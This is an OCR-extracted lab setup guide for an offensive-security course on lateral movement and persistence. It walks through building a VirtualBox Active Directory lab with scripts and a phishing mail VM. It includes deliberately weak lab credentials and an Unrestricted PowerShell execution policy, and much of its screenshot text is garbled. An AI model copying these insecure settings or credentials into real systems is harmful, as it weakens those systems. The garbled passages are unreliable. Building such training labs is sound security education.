¢)AND PERSISTENCE = = ® @ & €

>

Lab Installation Guide
Version 1.2

6/28/2021

https://t.me/learningnets



Table of Contents

FiYo [ [T aTe [Tt Er= T g Lo M UL oo b= L TR 3
SECHION 1 - INErOAUCTION ..ot ettt sar e sr e s be e e smeeesreeenneeas 4
Section 2 - Lab and Network GENEratioN.........coceiiiiiiiiieiiee ettt st e e s e e snee e saree s 6
2-0 INTEFOAUCTION 1.ttt ettt ettt ettt e sa e bt e e sat e e sab e e s bt e e abeesabeesabeeesbeesabeesabeeensbeesabeesabaeesaseenns 6
2-2 Virtual Maching DOWNIOAAS ....ccveiiieiieieeieeree ettt ettt st st st e ene e 6
N I I O ) 6

W B A\ I CT=T =T =) o ] Y ol o o ) PPN 7
2-4 NetWork CONFIGUIAtION .......uiiiiii it e e e e e et r e e e e e e e babaeeeeeesesnnreaneaaanas 7
2-5 VM PrOVISIONINE ..ttt sttt sttt bt bt b st et e en e et neneeeneeene 8
Windows Server 2019 Setup and INStallation..........cuviiiiieieciee e 8
Workstation-01 and Workstation-02 Setup and Installation.........cccccoeeeiiiieiiiiecceee e, 11

2-6 Active Directory Domain Services and Forest GENeration .........ccccccouviieeeiieccciiiieeee e 14
Pl 0 ToY o T 1o T e o U1 F=) o Lo} o AU 16
2-8 Join Workstations to the Domain CoNtroller..........ceeviiiiieiriiieeeieeeee e 18
2-9 UbUNtUMaIl INSTAIATION ...ttt sttt e re e 26
2-10 Kali Linux Installation (OPLioNal).......cceccieiiieiiie ettt et et vee e e eearee e e earee e e ennes 29
Section 3 — INStalliNg COVENANT......ciiiiii it e e e e e re e e e e e e e e anb e e e e e e e e s e atsteeeeaeeesnnnsraanes 30
3-3 Covenant Introduction and INSTallation.........ccoceieiiiiiiini e 30
Section 5 — Enumerating the Local Machine, Privilege Escalation, and Local Persistence........................ 33
5-12 Persistence Via RDP.......cciiiiiiiiiiiiiiiiiiii it 33
5-16 Windows Credential IMan@ager.........uueeiii ittt e e esttre e e s s e e st ee e e e s s e anae e e e e e e e sennsranees 33
Enable Remote Desktop 0N DCOL .......uuiiiiiiiicciiieeee e e ececrree e e e e e e etrre e e e e s e e e artaa e e s e e s e nsaraeeeaeeeesansrnnnes 33
MIMIKATZ COMMANAS ...eiiieiiiiiee et e st e e s et e e st e e e e sbteeessabaeeesansaeeesastaeessseeeessnseeeennnes 34

https://t.me/learningnets



Addendums and Updates

e The original Kali distribution included with the share drive was packaged with
Metasploit 6. This will cause issues for students following the lessons as the videos are shot
with Metasploit 5 in use. Two options exist to solve this issue:

e An updated version of Kali Linux has been released into the share drives which
uses MSF5.
e Utilize the PimpMyKali script from https://github.com/Dewalt-arch/pimpmykali,
and run it using option D to downgrade msf5 (suggested solution as it has less
download overhead).
e Inlesson 7-6, the IP Address entered at 2:50 is incorrect and should be 10.120.116.20. This
explains the error, however the video corrects to another applicable IP address that works as

well.
e The Kali VM is HIGHLY encouraged as it is fully packaged for the course.
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Section 1 - Introduction

Greetings, and welcome to my course “Movement, Pivoting, and Persistence for Pentesters and Ethical
Hackers”, or MP&P for short. Lateral movement, persistence, and pivoting are key to any successful
external and internal penetration testing assessment.

Most engagements are conducted remotely, meaning that the tester must have the ability to move
about freely from outside of the network into it. We do this using various techniques. Some of the
simplest can be utilizing a compromised password to access a desktop environment via remote desktop
and attempting to access other machines with those credentials. More complicated techniques include
utilizing compromised endpoints to act as a proxy for us, forwarding traffic from internal targets back to
our own.

This course is not meant to be a course for beginners. It is assumed that each student has a basic to
intermediate understanding of penetration testing and ethical hacking, including the use of Nmap,
Metasploit, OWASP ZAP or Burp Suite, and other well-used tools. Some basic level knowledge will be
used, such as enumeration, and expanded upon for various lessons.

MP&P will cover topics such as:

- Username and Password List Generation

- Password Spraying

- Email Phishing

- Command and Control (C2)

- Credential Harvesting and Passing

- Routing, Port Forwarding, SOCKS Proxies, and Bind Usage
- Offensive PowerShell

The course will require the generation of a local lab environment. In order to gain the full benefit from
the course, the student’s PC will need at least 16GB of RAM. It is possible to configure the lab with less,
however some assets will have to be suspended to run critical services. Students can also opt to
generate lab environments using Azure, AWS, or Google Cloud; however, implementation will be
outside the scope of the course.

Students should have the knowledge to install VirtualBox, create, and provision virtual machines.
VirtualBox will be necessary in order to provision the virtual networks needed for the course.
Automated generation scripts are provided in order to create necessary user accounts and permissions
for your Active Directory domain environment. Some additional configurations will be required, which
will be covered at the appropriate point in the course.

The lab guide will not be all-inclusive. This guide will provide graphical step by step installation of
necessary virtual machines and configurations. As this is an intermediate level course, it is expected
that any error-handling on the student’s end should be researched and addressed individually as
provisioning virtual machines is a basic prerequisite.

Finally, the automation scripts in the course are offered to make the student’s lab generation simplistic.
The provided automation scripts utilize various hardcoded credentials and disclose information about
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user groups, ACLs, GPOs, and more. | encourage students to utilize the honor system during this
experience, as it will not assist the learning process to cheat.

| appreciate your support in purchasing this course, and | hope that the lessons taught will be helpful for
you in your career and years ahead.

TheMayor - Joe
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Section 2 - Lab and Network Generation

2-1 Introduction

For this course it is expected that the student already understands how to provision virtual machines in
the local lab environment utilizing VirtualBox (VMWare will not be used for the course as we need
multiple NAT networks for configuration). The course will cover generating the appropriate virtual
networks for the lab environment and configuring each host to correctly interact with one another.
Additionally, this section will cover the installation of Active Directory, populating the users, GPOs, ACLs,
and other items necessary for the course, and connecting the user workstations to the domain.

2-2 Virtual Machine Downloads

UbuntuMail VM — This is a virtual machine required for the Email phishing lessons later in the
course. The VM is in the student course share at https://mayorsec-my.sharepoint.com/:f:/p/joe/EuHX-
fWQgWxlpdGvYY7X pwBSEbp87CmLj4R8GKFG59pCQre=Kf3DnR

If for some reason the OneDrive link above is not behaving, try
https://1drv.ms/f/s!AIDxd4Hr BuOrxTds39VMqiV5ViK.

KALI LINUX

A custom Kali Linux machine is also available in the above links. If you choose not to use the provided
VM, you are responsible for obtaining any files necessary in lessons from the file share, or on your
own. Links for individual tools will not be provided except for the Fodhelper exploit used in the
course. It can be found on my Github at https://github.com/dievus/helper.

Windows Server 2019 Evaluation 1SO (https://www.microsoft.com/en-us/evalcenter/evaluate-windows-
server-2019). Follow the instructions to download the trial version of Server 2019.

®) Windows Server 2019

Evaluations | 180 days

In addition to your trial experience of Windows Server 2019, you can download a new feature on demand for Server Core, the App Compatibility FOD. This FOD contains
additional features from the Desktop Experience to improve the compatibility of Server Core for apps and tools used for troubleshooting and debugging. Windows
features on demand can be added to images prior to deployment or to actively running computers, using the DISM command. Learn more about the Server Core App
Compatibility FOD. Download this FOD. To learn more about FODs in general, and the DISM command, please visit DISM Capabilities Package Servicing.

@ Get started for free

Please select your experience:
Q Azure

® Iso

Q VHD

Windows 10 Pro Evaluation I1SO (Will generate two VMs from this) (https://www.microsoft.com/en-
us/evalcenter/evaluate-windows-10-enterprise). Follow the instructions to download the trial version
of Windows 10 Enterprise.
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(® Windows 10 Enterprise

Evaluations | 90 days

This evaluation software is designed for |T professionals interested in trying Windows 10 Enterprise on behalf of their organization. We do not recommend that you install
this evaluation if you are not an IT professional or are not professionally managing corporate networks or devices.

@ Get started for free

Please select your experience:
@® 150 - Enterprise
QO 150 - LTSC

2-3 AD Generator Script

Students will need to download the individual Active Directory generation scripts to build the domain
environment. The PowerShell scripts are located at https://github.com/dievus/ADGenerator .

2-4 Network Configuration

A total of three virtual networks needs to be configured for the course. Configuring the networks in
VirtualBox is done with the following:

File > Preferences

'ﬁ Oracle VM VirtualBox Manager
File Machine Help

(7 Preferences... I})Chh—ﬁ {:} {%} |:(<>
i) Import Appliance... Ctrl+| Mew Settings Discard  Show
[ Export Appliance... Ctrl+E @ General
58 New Cloud VM... Name: Waorkstation-01
Operating System:  Windows 10 (54-bit)
Virtual Media Manager... Ctrl+D @& system
Host Metwork Manager... Ctrl+H Base Memory: 2043 MB
S_h. Metwork Operations Manager... Boot Order: Floppy, Optical, Hard Disk
A L i ST oo fARADY W) Blociod Diooi dul: LD gty oo

Click on Network

&VirtualBox-Preferences 7 X
E General Network
& put NAT Networks
@ Updat Active MName ﬁ
ate
F External @
po
@ Language Internal @
Secure
|§| Display
@ MNetwork
5
D Extensions
|IE| Proxy
Cancel

https://t. me/learningnets


https://github.com/dievus/ADGenerator

Click the Add (+ button) three times to generate three NAT networks. Double click each one and enter

the following information into each:

&

Enable Metwork

&

Enable Metwork

MNetwork Name: |Externa|

| Metwork Name: |Interna|

Metwork CIDR: | 192, 168.3.0/24

| Metwork CIDR.: | 192,168, 16.0/24

Metwork Options: Supports DHCP
[] supports IPva

MaE
Port Forwarding

Cancel

Advertise Default IPvo Rout

Metwork Options: Supports DHCP
[ ] supports IPvE

Port Forwarding

Ok

Cancel

&

Enable Metwork
Metwork Mame

Metwork CIDR.
Metwork Options

- |5EEI.IFE |

: [10.120.116.0/24 |

¢ [+] Supports DHCP
|:| Supports IPvG

M

A cver tiee Default TPvE Boute
Advertise Detault IPvS Route

Port Forwarding

Cancel

These are the three virtual NAT networks that will be used throughout the course. Make note of the IP

subnets for later use.

2-5 VM Provisioning

Windows Server 2019 Setup and Installation
Once the student has downloaded the evaluation version of Windows 2019 from Microsoft, create a

new virtual machine in VirtualBox. The following images are step by step settings to be followed. Note
that images refer to RAM and hard disk space that should be used as a minimum baseline. Itis
acceptable, should the student’s computer have the resources, to assign more resources that suggested.

Select New at the top of VirtualBox, which opens the Create Virtual Machine window. Name the
workstation appropriately — DCO1. Set the type to Windows, and Version to Windows 2019. Click Next.
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Create Virtual Machine

Name and operating system

Please choose a descriptive name and destination folder for the new virtual
machine and select the type of operating system you intend to install on it.
The name you choose will be used throughout VirtualBox to identify this

machine,
Name: [pcos| |
Machine Folder: | C:\Users\jwhel\WirtualBox VMs il |
y - ¥,
Type: |Microsoft Windows M=
%t

Version: |Windows 2019 (64-bit)

Expert Mode Cancel

Set RAM to 2048 MB and click Next.

€ Create Virtual Machine

Memory size

Select the amount of memory (RAM) in megabytes to be allocated to the
wirtual machine.

The recommended memory size is 2048 MB.

048 (5| ME
4MB 16384 MB

Make sure “Create a virtual hard disk now” is selected, click create, and ensure VDI is selected. Click
Next.
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Create Virtual Hard Disk

€ Create Virtual Machine L
Hard disk file type

Hard disk Please choose the type of file that you would like to use for the new virtual
hard disk. If you do not need to use it with other virtualization software you
can leave this setting unchanged.

If you wish you can add a virtual hard disk to the new machine. You can

either create a new hard disk file or select one from the list or from another (®) VDI (VirtualBox Disk Image)
location using the folder icon. () VHD (virtual Hard Disk)
If you need a more complex storage set-up you can skip this step and make () WMDK {Virtual Machine Disk)

the changes to the machine settings once the machine is created.
The recommended size of the hard disk is 50.00 GB.

(O Do not add a virtual hard disk

(®) Create a virtual hard disk now

(0) Use an existing virtual hard disk file

Net1 - UbuntuMail-1.vdi (Mormal, 20.00 GB)

Cancel Expert Mode Cancel

Ensure Dynamically allocated is selected and click next. Set the file size slider to 20 GB and click Create.

& Creste Virtual Hard Disk € Create Virtual Hard Disk

Storage on physical hard disk File location and size

Please type the name of the new virtual hard disk file into the box below or dick

Please choose whether the new virtual hard disk file should grow as it is used
on the folder icon to select a different folder to create the file in.

{dynamically allocated) or if it should be created at its maximum size (fixed

size).
‘C:V.lsers\]'t\'hel'\\u'lrmalﬁox VMs\DCO1\DCO 1. vdi | IE

A dynamically allocated hard disk file will only use space on your physical

hard disk as it fills up {up to @ maximum fixed size), although it will not shrink Select the size of the virtual hard disk in megabytes. This size is the limit on the

again automatically when space on itis freed. amount of file data that a virtual machine will be able to store on the hard disk.

A ficed size hard disk file may take longer to create on some systems butis ' 20.00 GB

often faster to use,
(®) Dynamically allocated 4.00MB 2.00TB

O Fixed size

Click on the workstation, click Settings at the top, select Storage on the left. Click the empty disk under
Storage devices, and on the right side of the screen click the blue disk. It is likely you will need to
navigate to the download directory where the ISO is located. Select that ISO.

Storage

Storage Devices Attributes
4 Controller: SATA Optical Drive: | SATA Port 1 -

DCOLvdi [ Live co/ovD Choose/Create a Virtual Optical Disk...

© en_windows_server_2019_updated_sept_2019_x54_dvd_1... ] [ Hot-pluggable [ Choose a disk file...

Information
Type: Image en_windows_server_2019_updated_sept_2019_x64_dvd_199664ce.iso
Size: 493 GB VBoxGuestAdditions.iso

Location: Z:\WMS\en_windows_server_2019_updated_sept_2019_x64_dvd_. @
Attached to: —

Remove Disk from Virtual Drive

Click on Network next. The following settings are required for the server:

- Set the network to Secure
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) DCOT - Settings 7 X

™ General Network
E‘ System Adspter 1 Adapter 2 Adapter3  Adapter 4
[ oisplay 7] Enable Netuwork Adapter
Attached to: | NAT Network -
] storage
Name: |Secure -

Aud
Po ausio b Advanced
B Network
€5 serial Ports
@ UsB

] Shared Folders
] userinterface

Cancel

Once configured click Ok. Boot the Windows server. Refer to the course videos for specifics, to include
login information for the required users for each device.

Workstation-01 and Workstation-02 Setup and Installation

Installation of the Windows workstations is straight forward. Once the student has downloaded the
Windows 10 Enterprise Evaluation iso from Microsoft, create two new virtual machines in VirtualBox.
The following images are step by step settings to be followed (remember that this needs to be done
twice, with one named Workstation-01, and one named Workstation-02):

Select New at the top of VirtualBox, which opens the Create Virtual Machine window. Name each
Workstation appropriately — Workstation-01 and Workstation-02. Set the type to Windows, and Version
to Windows 10 x64. Click Next.

@ OP.

Mew  Settings Discard  Show
=) General
Name: Workstation-01
Operating System:  Windows 10 {(54-bit)
Base
Bool
Acce Create Virtual Machine
vidf  Name and operating system
Grag
Rem - - "
Rect Please choose a descriptive name and destination folder for the new virtual
machine and select the type of operating system you intend to install on it.
The name you choose will be used throughout VirtualBox to identify this
. machine.
Con}
sal Name: ‘Worlstahon{lz ‘
SAl ) LIENTENTERPRISEEVAL _OEMRET|
Machine Folder: ‘ C:\Users\jwhel\VirtualBox VMs ~ ‘
[ip: -
Type: |Migosoft Windows =4
Hos{ ',;h.
Con Version: | Windows 10 (54-bit) -
Ada|
Ada|
Ada|
@ Expert Mode MNext Cancel

Set RAM to 2048 MB and click Next.
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€ Create Virtual Machine

Memory size

Select the amount of memory (RAM) in megabytes to be allocated to the
wirtual machine.

The recommended memary size is 2048 MB.
' 2048 5| MB

4MB 16384 MB

Make sure “Create a virtual hard disk now” is selected, click create, and ensure VDI is selected. Click

Next.

Create Virtual Hard Disk

€ Create Virtual Machine o
Hard disk file type

Hard disk Please choose the type of file that you would like to use for the new virtual
hard disk. If you do not need to use it with other virtualization software you

can leave this setting unchanged.

If you wish you can add a virtual hard disk to the new machine. You can
either create a new hard disk file or select one from the list or from another (®) VDI (virtualBox Disk Image)

location using the folder icon. © VHD (Virtual Hard Disk)

If you need a more complex storage set-up you can skip this step and make (O WMDK (virtual Machine Disk)
the changes to the machine settings once the machine is created.

The recommended size of the hard disk is 50.00 GB.
(O) Do not add a virtual hard disk

(®) Create a virtual hard disk now

(0) Use an existing virtual hard disk file

Metl - UbuntuMail- 1.wdi (Mormal, 20.00 GB)

Cancel Expert Mode Cancel

Ensure Dynamically allocated is selected and click next. Set the file size slider to 20 GB and click Create.
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Sl

Storage on physical hard disk

Please choose whether the new virtual hard disk file should grow as it is used
{dynamically allocated) or if it should be created at its maximum size (fixed

ize).

A dynamically allocated hard disk file will only use space on your physical
hard disk as it fills up {up to a maximum fixed size), although it will not shrink
again automatically when space on it is freed.

A fixed size hard disk file may take longer to create on some systems but is
often faster to use.

® Dynamically allocated
(O Fixed size

File location and size

Flease type the name of the new virtual hard disk file into the box below or dick
on the folder icon to select a different folder to create the file in,

|C: WsersjwhelWirtualBox YMs\Workstation-02\Workstation-02, vdi | [a

Select the size of the virtual hard disk in megabytes. This size is the limit on the
amount of file data that a virtual machine will be able to store on the hard disk.

0

4.00 MB 2.00TE

Click on the workstation, click Settings at the top, select Storage on the left. Click the empty disk under

Storage devices, and on the right side of the screen click the blue disk. It is likely you will need to
navigate to the download directory where the ISO is located. Select that ISO.

L

=

New Set

.

tings Discard Start

Name:
Operatin

= svy

Base Mef
Boot Or
Accelerg
[ pig
Video Mg
Graphics
Remote
Recordir
B st
Controllg

SATA P

SATA P
o Aul
Host Dri
Controllg

= Nel

Adapter

@ Waorkstation-02 - Settings
9

M General

[&] system

(] Disply
Storage

(DJ Audio

B Network
£ serial ports
£ use

[] Shared Folders
[T] userinterface

Storage
Storage Devices Attributes
@ Controller: SATA Optical Drive:

Workstation-02.vdi

Information

Type: —

Size: —
Location: —
Attached to: —

Workstation-02

SATA Port 1 - @

[ tive [a Choose/Create a Virtual Optical Disk...
[ Hot |a Choose a disk file...

19043.928.21 mmti\@ 2.21h1_release_sve_refresh_CLIENTENTERPRISES
VBoxGuestAdditions.iso
Windows10x64.is0

Remove Disk from Virtual Drive

Click on Network next. The following settings are required for Workstation-01 and Workstation-02.

- Workstation 01 needs to be configured to utilize the External, Internal, and Secure adapters.
- Workstation 02 needs to be configured to utilize the Internal and Secure adapters only.
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Hel'w&'k

| Adapter 1 Adapter 2 Adapter 3 | Adapter 4

Enable Metwork Adapter

Attached to: |MAT Metwork -

Mame: |External -

[ Advanced

Once configured on both devices, click Ok. Boot each workstation. Refer to the course videos for
specifics, to include login information for the required users for each device.

2-6 Active Directory Domain Services and Forest Generation

After the student has provisioned appropriately configured virtual networks and machines, they should
start the Server 2019 machine first. Follow the installation instructions and generate a username that
will be used for various administrative tasks throughout the course. Upon startup, download the
Invoke-ADGenerator.ps1 and Invoke-ForestDeploy.ps1 PowerShell scripts to the machine. Open
PowerShell as an administrator, navigate to the directory where the scripts are located, and run the
following:

. -\Invoke-ForestDeploy.psl

Invoke-ForestDeploy -DomainMName mayorsec.local

This script will install Active Directory Domain Services on the server first, followed by generating the
Active Directory and Domain Controller environment. Note that the Invoke-ADGenerator.ps1 script is
configured to use the mayorsec.local domain. If the student wishes to use a different domain name it’s
vital that the student change the domain name in all scripts.
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Collecting data...
18%
[00000000000000

Domain Deploy

Installing Wi

When prompted to enter the SafeModeAdministratorPassword, enter a secure password, press enter,
and then press enter when prompted to configure as a domain controller. Warnings can be ignored.

er is built. [*]

patible with Wi

Upon completion the student will be prompted to restart the controller for changes to take effect.

You're about to be signed out

The computer is being restarted because Active Directory Domain Services was installed or

removed.

GENERATE A SNAPSHOT OF THE VIRTUAL MACHINE ONCE IT FINISHES REBOOTING.
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2-7 — Domain Population
Upon completion of setting up Windows Server 2019, log in to the new domain controller with your
previously created account credentials.

Open PowerShell in an elevated prompt and navigate to the directory where the Invoke-
ADGenerator.psl script is located. Run the script using the following:

. .\Invoke-ADGenerator.psl

Invoke-ADGenerator -DomainName mayorsec.local

Note that the Invoke-ADGenerator.psl script has some hard-coding with the mayorsec.local domain
name. If the student wishes to use a different name, scripts will have to be modified locally.

After running the command, the student’s account on the domain is elevated to Enterprise, Domain,
and local administrator groups.
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equired for the

command

[+1

command

[+] Prom Hemayo y Group Poli
The command

1 Administrz (error output may
m error

The specified account name is already a member of the group.

Students will then be prompted for domain credentials to authorize changing the name of the domain
controller to DCO1.

Windows PowerShell credential request

=
L'-T i\

Enter your credentials,

User name: | ﬂ mayorsec\themayaor

Password: | |

Cancel

Once all changes have been populated the script will prompt that the domain controller will restart in 30
seconds. Note that if any error messages occurred during installation that it is best to revert to the
snapshot previously generated.
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L.OlrmuproLLey SEILUNTLEUI dLLUN
oft.GroupPolicy.ComputerConfiguration
ngsEnabled

Description

Id
DisplayName :
th : ] 39 3y ec,DC=1local

ymainName
Cr ionTime
dificationTime

er

N controller

2-8 Join Workstations to the Domain Controller

Joining our Workstation-01 and Workstation-02 to the newly created domain controller takes multiple
steps and attention to detail. First, start DCO1, Workstation-01 and Workstation-02 (forgo 02 for now if
you have low resources).

Once logged in to DCO1, right click the network icon and select Open Network and Internet settings.

Troubleshoot problems

Open Network & Internet settings

6/16/2021

Select Change adapter options.

Change your network settings

Change adapter options
View network adapters and change connecnokettings.

Double click the Ethernet adapter for the Secure network.
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4 & > ControlPanel » Metworkand Intemet » Metwork Connections

Organize + Disable this network device Diag! this co 8 Fasamis this i e sbtiend i tio
U Ethemet Status b4
= | Ethemet
g’ Network General
@ Intel(R) PRO/1000 MT Desktop Ad...
Connection -
Pv4 Connectivity: Internet
IPvE Connectivity: Mo network access
Media State: Enabled
Duration: 01:13:22
Speed: L.0Gbps
Detals... |
Activity
-
Sent — hg —— Received
Bytes: 967,479 | 7,643,227

propertes | | GJosae | | Dagrose

Click Properties. Double click Internet Protocol Version 4.

| ey ey

U Ethemet Properties *

Metwaorking

Connect using:
& Intel(R) PRO/1000 MT Deskiop Adapter

This connection uses the following #ems:

[CiR_ & Client for let ~
) T File and Printer Sharing for Microsaft Networks

& B¥Go5 Packet Scheduder

W]y ntemet Protocol Version 4 (TCP/IPv4) |

1" s Microsoft Network Adapter Multiplexer Protocol

# 5 Microsoft LLDP Protogol Driver

] . Intemet Protocol Version 6 (TCP/IPvE) v
>
e [ o
Description
Allows your computer to access resources on a Microsoft
network,
0K Cancel

Configure the network settings as follows. We use 127.0.0.1 since the domain controller also acts as
domain DNS, so localhost is required to resolve domain host names. Set alternate DNS to 8.8.8.8 so the
domain controller is able to resolve live internet IP addresses.

https://t. me/learningnets



Internet Protocel Viersion 4 (TCP/IPv4) Properties X
General

You can get IP settings assigned automatically if your network supports
this capability. Otherwise, you need to ask your netwark administrator
for the appropriate IP settings.

(O Obtain an P address automatically

() Use the following IDL\\?dress:

IP address: | 10 .120.116. 75 |
Subnet mask: m
Default gateway: m

Obtain DNS server address automatically
(@) Use the following DNS server addresses:
Preferred DNS server: 127.0 .0 . 1

Alternate DNS server: 8 .8 .8 .8

[Jvalidate settings upon exit Advanced. ..

co

Click Ok. Click Ok again and close open windows.

Access Workstation-01, open a command prompt, and type ipconfig.

Identify the 10.120.116.0/24 IP address and note the Ethernet adapter name (your adapter will be
different than this possibly). From here, follow the same instructions as above until you get to the
Internet Protocol Version 4 Properties window. Note that the preferred DNS is the domain controller so

that the host is able to resolve domain names to IP addresses. Enter the following information into the
fields:
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Internet Protocel Version 4 (TCP/IPvd) Properties X

General

You can get IP settings assigned automatically if your network supports
this capability. Otherwise, you need to ask your network administrator
for the appropriate IP settings.

() Obtain an IP address automatically

(®) Use the following TP address:
IP address: 10 .120 .116 . 10
Subnet mask: 255 .255.255. 0

Default gateway: 10 .120.116 . 1

Obtain DNS server address automatically

(®) Use the following DNS server addresses:

Preferred DNS server: 10 .120.116 . 75
Alternate DNS server: B .8 & .48
[C]validate settings upon exit e

Follow the same instructions as above for Workstation-02, using the following settings:

Internet Protocol Version 4 (TCP/IPv4) Properties x

General

You can get IP settings assigned automatically if your network supparts
this capability, Otherwise, you need to ask your network administrator
for the appropriate IP settings.

(C) Obtain an IP address automatically

(@) Use the following IP address:

IP address: 10 .120 . 116 . 20
Subnet mask: @‘
Default gateway: 10 .12 .116. 1

Obtain DNS server address automatically
(@) Use the following DINS server addresses:
Preferred DNS server: 10 .120.116. 75

Alternate DNS server: 8 .8 .8 .8

N

[ validate settings upen exit

Now that ethernet settings are configured, search for the word “work,” and select Access Work or

School. (These instructions will be exactly the same for both Workstation-01 and 02 with the exception
of log in names).

<« Settings

@ Search results [ wo <

=) Acce[% work or school ‘

oF Windows Ink Workspace settings
b Pen settings

@ View pen and touch info

Select Connect.

https://t. me/learningnets



Access work or school

Get access to resources like email, apps. and the network. Connecting
means your work or school might control some things on this device,
such as which settings you can change. For specific info about this,
ask them.

+ ' E‘gnnect

Select Join this device to a local Active Directory domain.

Microsoft account X

Set up a work or school account

You'll get access to resources like email, apps, and the network. Connecting means your
work or school might control some things on this device, such as which settings you can
change. For specific info about this, ask them.

Email address

Alternate actions: [}

These actions will set up the device as your organization's and give your organization
full control over this device.

Join this device to Azure Active Directory

Join this device to a local Active Directory domain

Enter mayorsec.local as the Domain name.

Join a demain

Join a domain

Domain name

Enter the appropriate domain credentials for each workstation and press Ok:

- Workstation-01 — s.chisholm:FallOutBoy1!
- Workstation-02 — m.seitz:Phi11li35@44
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Windows Security X

Join a domain

Enter your domain account info to verify you have permission to
connect to the domain.

]_;ser name |

I Password |

Select Account type — administrator and press next.

Add an account

Add an account

Enter the account info for the person who'll be using this PC. If you skip this step, the person will
have default permissions for the domain.

count

sholm

Account type

Administrator

Select Restart now to join the workstations to the domain.

Restart your PC

Restart your PC

After you restart, your PC will be joined to this domain: mayorsec.local

Restart later

Upon restart you should be presented with a domain logon screen like the following:

~mayorsec\s.chisholm
| I

Login with the appropriate credentials on both workstations.

On the domain controller, DCO1, open Server Manager.
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= F Windows Server

&5 Firefox

‘Windows. Windows
/O Search 5 PowerShell PowerShell ISE

T [—
=

-
Control Panel

Windows Accessories v

Windows Administrative Tools g m -

Windows Ease of Access Event Viewer File Explorer

Windows PowerShell

Windows Security

Windows System

Open Active Directory Users and Computers.

|

Active Directory Administrative Center
Active Directory Domains and Trusts
Active Directory Module for Windows PowerShell
Active Directory Sites and Services

Manage Tocls View Help

Server Manager * Dashboard

'WELCOME TO SERVER MANAGER

' . Active Directory Users and Compyters
0 Configure this local server AR Ly

QUICK START Component Services

F < ter Management
2 Add roles and features e
Defragment and Optimize Drives

Add ~thor cormore o rnanang | Disk Cleanup

Confirm that the workstations are connected. Note the names are not set yet as they haven’t been
renamed.

Z Active Directory Users and Computers
File Action View Help
e @ BB HM LaETE%

[ Active Directory Users and Com|| Name Type i
> B Shved QueRes 1K DESKTOP-12348C Computer
¥ [ maynizec acal 3%l DESKTOP-ABCT23 Comnputer

3 [ Builtin

| Computers

5 @1 Demain Contrallers

5 (2] Engineering

» [ ForeignSecurityPrincipal:

» [E] ITAdmins

» ] Managed Service Accour
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The ADGenerator script creates a read only file share on the domain controller. The installation scripts
are stored there. Open File Explorer on both workstations and enter the address \\10.120.116.75\.
Press enter to access the share.

A o= 10120011675 » Shared » (v & O Search Shared
Marme Date modified
CCERS
adgenerator 6/16/2021 3:36 AM
3 x
: i adgenerator 616/2021 9:36 AM
|||:|a|:|s .

Open adgenerator and the subfolder to see the PowerShell scripts. Drag and drop nameGen.ps1 to both
desktops.

o Quick access

B Deskeop » images 6/16/2021 %:36 AM
& ADGenerator 6/15/2021 4:37 PM

load + SR

; Bevmionis & Inveke-ForestDeploy B/15/2021 4:37 PM

5] Documents  # 5 nameGen 6/15/2021 4:37 PM

&= Pictures # [ README.md 6/15/2021 437 PM

B Music

B videos

Open PowerShell as administrator. Change directories to the user’s desktop and run Set-ExecutionPolicy
Unrestricted and say yes to all.

PS C:\Users\s.chisholm.mayorsec\Desktop> Set-ExecutionPolicy Unrestricted

Execution Policy Change

The execution policy helps protect you from scripts that you do not trust. Changing the
execution policy might expose you to the security risks described in the
about_Execution Policies help topic at https:/go.microsoft.com/fwlink/?LinkID=13517@. D
you want to change the execution policy?

[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"):

Import nameGen.ps1 and execute the script as follows. You will be asked for credentials for domain
users in order to rename the computer at the domain controller.

PS C:\Users\s.chisholm.mayorsec\Desktop> . .\nameGen.psl

PS C:\Users\s.chisholm.mayorsec\Desktop> executeScript -Computeriame WORKSTATION-©1
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Windows PowerShell credential request ? *

Eniter your credentials.
User name: |ﬁ mayaorsecs.chisholm " | I
Password: | ssssssnsnnnsl |

o[ o

Restart both computers to commit the changes. Confirm the changes on the domain controller.

3 Active Directory Users and Computers
File Action View Help
s nEEE6E Bm Yl

] Active Directory Users and Com|| pame

- Type Description
> [2 Saved Queries YK/ \WORKSTATION-01 Computer
v i mayorseclocal S WORKSTATION-02 Computer
> (2] Builtin
1 Computers

5 [E1 Domain Controllers b
3 [E] Engineering

» [ ForeignSecurityPrincipal;
> [E] ITAdmins

> [ Managed Service Accoul

2-9 UbuntuMail Installation
Download the UbuntuMail server from the course file share and extract it locally.

My Drive » Movement, Pivoting, and Persistence > Course Share ~

Files

A

] Net1 - UbuntuMail.zip

Right click the OVF file and open with VirtualBox Manager.
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W Netl - L HAAP021 1118 AM  Open Virtualizatio... 4,843,202 KB

Open

@ Move to OneDrive
7-Zip >
CRC SHA 2]

[&f Edit with Notepad--+
[l Scan with Microsoft Defender...

& Share
Openwith >| W virtualBox Manager [
Give access to > ) VMware Player
Restore previous versions B VMware Workstation
Sendto % | [E] Search the Microsoft Store
=— Choose another app

Reduce CPU to 1 processor, and RAM to 2GB. Click Import.

Appliance settings
These are the virtual machines contained in the appliance and the suggested settings of the imported VirtualBox machines.
z::oﬁm change many of the properties shown by double-dicking on the items and disable others using the check boxes
Virtual System 1 (ol

€8 Name Net1 - UbuntuMail 1

B8 Guest 0S Type Ubuntu (64-bit)

@ cru 2

& ram 4096 MR

£5 USB Controller &m

@0 Sound Card MIcH Aco?

®P Network Adapter [ Intel PRO/1000 MT Desktop (82540EM) v
Machine Base Folder: l | C:\UsersYjwhel\VirtualBox VMs VI
MAC Address Policy: hnchde only NAT network adapter MAC N ‘

Additional Options: [] Import hard drives as VDI
Appliance is not signed
|Restore Defauits| [ _tmport | | cancel |

Open Settings, click Network, and on the Adapter 1 tab, set the following settings and click OK:

€2 Net1 - UbuntuMail - Settings

Q General HNetwork

(] system Adapter 1 | Adapter 2 Adapter 3 | Adapter 4

[ Display Enable Network Adapter

Siorage Attached to: |[NATNetwork |
Name: |External

(D:l Audio D Advanced

{@ Netwpek

Serial Ports

Start UbuntuMail. When you are presented with the login screen, login as studentuser:Password123! to
log in.

studentuser

Check network settings once logged in.
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i% Wired Connected
Turn OffF

Wired Setﬁings

Click the gear to view settings.

Details | Identity IPv4 IPv6 Security

Link speed 1000 Mb/s
IPv4 Address I
IPv6 Address Ffe80::2708:€914:dbb6:57¢9
Hardware Address 08:00:27:59:DC:DD
Default Route 192.168.3.1
DNS 8.8.8.8

If DNS is not set as above, click on the IPv4 tab, and enter 8.8.8.8 in the DNS option. Press Apply.

DNS Automatic | JOFF

(8.8.8.8 \

Separate IP addresses with commas

Turn the connection off and on to ensure the configuration is pushed, then close the window.
